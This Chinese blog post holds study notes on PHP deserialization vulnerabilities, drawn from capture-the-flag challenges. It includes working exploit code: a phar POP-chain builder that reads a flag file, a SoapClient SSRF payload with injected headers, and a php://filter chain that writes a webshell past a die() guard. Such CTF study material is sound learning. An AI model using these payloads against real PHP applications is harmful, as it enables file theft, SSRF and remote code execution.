PHP反序列化漏洞学习小结
2022/5/10 11:04:37
本文主要是介绍PHP反序列化漏洞学习小结,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
PHP反序列化漏洞笔记
前言:根据BUU的一些题和一些学习过的文章记下来的各个知识点
1.反序列化的对象逃逸
- 第一种为
关键词数增加
例如: where->hacker,这样词数由五个增加到6个 - 第二种为
关键词数减少
例如:直接过滤掉一些关键词,例如easy_serialize_php
都是一样的思路,通过序列化后的字符串长度大小来构造有效序列化字符串,有点绕口,直接看这道题就好了
_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);//这里可以通过POST传值,然后将$_SEESION值更改为黑名单中的字符串造成逃逸 如:_SESSION['flagflag']=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION));//反序列化的对象逃逸发生 if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
第二道此类型的题:piapiapia2016
看到这个代码就会想起来怎么做的~
<?php $profile['phone'] = '12312312312'; $profile['email'] = '123@123.com'; $profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'; $profile['photo'] = 'config.php'; function filter($string) { # 单引号,双斜杠 'select', 'insert', 'update', 'delete', 'where' $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $a = serialize($profile)."\n"; echo $a; echo filter(serialize($profile))."\n";
2.protected,private的不可见字符的绕过
绕过方法
- php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
- 手动添加\x00:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
例题
极客大挑战2019PHP
[[网鼎杯 2020 青龙组]AreUSerialz](https://buuoj.cn/challenges#[网鼎杯 2020 青龙组]AreUSerialz)
3.serialize(unserialize($x)) != $x
这是看这篇文章看到的
https://www.anquanke.com/post/id/251366#h2-0
4.phar反序列
(51条消息) Phar反序列化_xiaolong22333的博客-CSDN博客_phar反序列化
可以利用的函数:
5.pop链
pop链的构造就是利用各个类的函数将各个类链接起来
4和5的例题
[(51条消息) SWPUCTF 2018]SimplePHP_Mhu1的博客-CSDN博客
可以看下此exp的编写 <?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $a = new C1e4r(); $b = new Show(); $c = new Test(); #pop链: C1e4r::__destruct->Show::__tostring->Test::->__get $c->params=array("source"=>"/var/www/html/f1ag.php");#获取到f1ag.php内容为base64 $b->str['str']=$c;#通过__tostring里会访问str['str']的source这个属性,而Test类又没有source属性,去调用Test类的__get函数 $a->str=$b;#通过__destruct里会访问str这个属性来调用String的__tostring函数 $phar = new Phar("po2.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($a); $phar->addFromString("po.txt", "po");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
这道题也很有意思结合了死亡绕过和pop构造写入webshell
[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[EIS 2019]EzPOP)
[EIS 2019]EzPOP - 夜幕下的灯火阑珊 - 博客园 (cnblogs.com)
6.魔术方法
7.php原生类(ctf常见)
在题目给的的代码中找不到可利用的类时,这个时候考虑使用php中的一些原生类有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny
来禁止一些类的反序列化。
7.1soap
看看P牛新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)
这里需要有个前提是php是安装了php_soap.dll的
再ctfshow的web259遇到了相关的题目ctf.show
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
题目的中心想法就是利用Soap这个类来进行ssrf
payload模板
<!--再php.ini中将extension=php_soap.dll前面的分号去掉,否则无法执行成功--> <?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $y = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "flag")); $x = serialize($y); $x = str_replace('^^',"\r\n",$x); echo urlencode($x); ?>
7.2Error/Exception
7.3Globlterator
8.死亡绕过
[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[羊城杯 2020]EasySer)
- string.strip.tags配合filter协议
write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html(php)标签清除,即可把<?php die("nononon");?>
先删除
exp: <?php class GWHT{ public $hero; public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ //flag.php public $file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'; public $text='YmFzZTY0Y29kZQ=='; public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; echo $a."\n"; echo strip_tags($a)."\n"; @file_put_contents($this-> file,$a); } } $a = new Yongen(); $b = new GWHT(); $b->hero =$a; echo $b; //echo serialize($b); ?>
这题比较怪的点是反序列的利用点没有给到,wp说的是用arjun扫出来的参数
这篇关于PHP反序列化漏洞学习小结的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享